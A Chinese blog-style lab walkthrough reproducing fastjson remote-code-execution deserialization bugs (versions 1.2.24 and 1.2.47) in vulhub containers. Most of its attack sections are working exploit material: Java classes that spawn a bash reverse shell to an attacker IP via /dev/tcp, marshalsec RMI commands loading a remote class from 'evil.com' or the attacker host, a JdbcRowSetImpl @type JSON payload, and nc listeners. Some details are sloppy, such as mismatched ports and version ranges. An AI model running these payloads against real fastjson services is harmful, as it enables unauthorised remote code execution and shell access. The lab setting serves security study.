赞
踩
一 漏洞描述
fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。
受影响版本
fastjson <= 1.2.24
二 环境搭建docker-compose,vulhub
https://blog.csdn.net/weixin_52221158/article/details/125933759
vulhub:https://github.com/vulhub/vulhub
/vulhub-master/fastjson/1.2.24-rce]
└─# docker-compose up -d
目标 kali 192.168.1.240
攻击机 192.168.1.162
三 漏洞复现
访问ip:端口[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-YSX9YRIb-1664586838689)(http://angus.gq/fastjson/1.png#pic_center)]
修改json时发生反序列化,抓包修改,或 向kali 发POST一个JSON对象,即可更新服务端的信息
POST / HTTP/1.1
Host: 192.168.1.240:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 26
{"name":"hello", "age":20}
curl http://your-ip:8090/ -H "Content-Type: application/json" --data '{"name":"hello", "age":20}'
漏洞分析
http://xxlegend.com/2017/04/29/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/
JNDI注入
jdk1.8 生成TouchFile.class (注意这里端口和后面端口相同)
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime r = Runtime.getRuntime();
Process p = r.exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/攻击机ip/端口 0>&1"});
p.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
javac TouchFile.java
开启http服务
python3 -m http.serve 8000
通过marshalsec项目,启动一个RMI服务器,监听9999端口,并制定加载远程类TouchFile.class:
marshalsec:https://github.com/RandomRobbieBF/marshalsec-jar
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://evil.com/#TouchFile" 9999
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-88BmC8hI-1664586949138)(http://angus.gq/fastjson/5.png#pic_center)]
抓包发取payload
POST / HTTP/1.1 Host: your-ip:8090 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/json Content-Length: 160 { "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://攻击ip:9999/TouchFile", "autoCommit":true } }
nc监听反弹shell
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NqTMsBQE-1664586959203)(http://angus.gq/fastjson/6.png#pic_center)]
四 参考链接
https://vulhub.org/#/environments/fastjson/1.2.24-rce/
https://blog.csdn.net/GX233/article/details/124254286
https://blog.csdn.net/weixin_45808483/article/details/121737289
一 漏洞描述
Fastjson是阿里巴巴公司开源的一款json解析器,其性能优越,被广泛应用于各大厂商的Java项目中。fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令
受影响版本
fastjson <= 1.2.24
Fastjson RCE关键函数
DefaultJSONParser. parseObject() 解析传入的 json 字符串提取不同的 key 进行后续的处理
TypeUtils. loadClass() 根据传入的类名,生成类的实例
JavaBeanDeserializer. Deserialze() 依次调用 @type 中传入类的对象公有 set\get\is 方法。
ParserConfig. checkAutoType() 阿里后续添加的防护函数,用于在 loadclass 前检查传入的类是否合法。
二 环境搭建docker-compose,vulhub
https://blog.csdn.net/weixin_52221158/article/details/125933759
vulhub:https://github.com/vulhub/vulhub
[/vulhub-master/fastjson/1.2.47-rce]
└─# docker-compose up -d
目标 kali 192.168.1.240
攻击机 192.168.1.162 / win10 (python3.7 和jdk8 环境下)
三 漏洞复现 (方法与1.2.27-rce相似)
访问ip:端口
编写exp/同时开启web服务
Exploit.java
exp:
public class Exploit {
public Exploit(){
try{
Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/192.168.1.162/8888 0>&1");
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}
javac Exploit.java 编译成class文件,开启kali http服务
javac Exploit.java
python -m SimpleHTTPServer 5555
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-zrUM0XIH-1664586989306)(http://angus.gq/fastjson/9.png#pic_center)]
反弹shell
开启RMI服务,监听端口,并制定加载远程类Exploit.class
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.1.162:5555/#Exploit"
nc开启监听
nc -lvtp 12345
四 参考链接
https://www.cnblogs.com/peace-and-romance/p/15754787.html
https://www.likecs.com/show-306198709.html
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。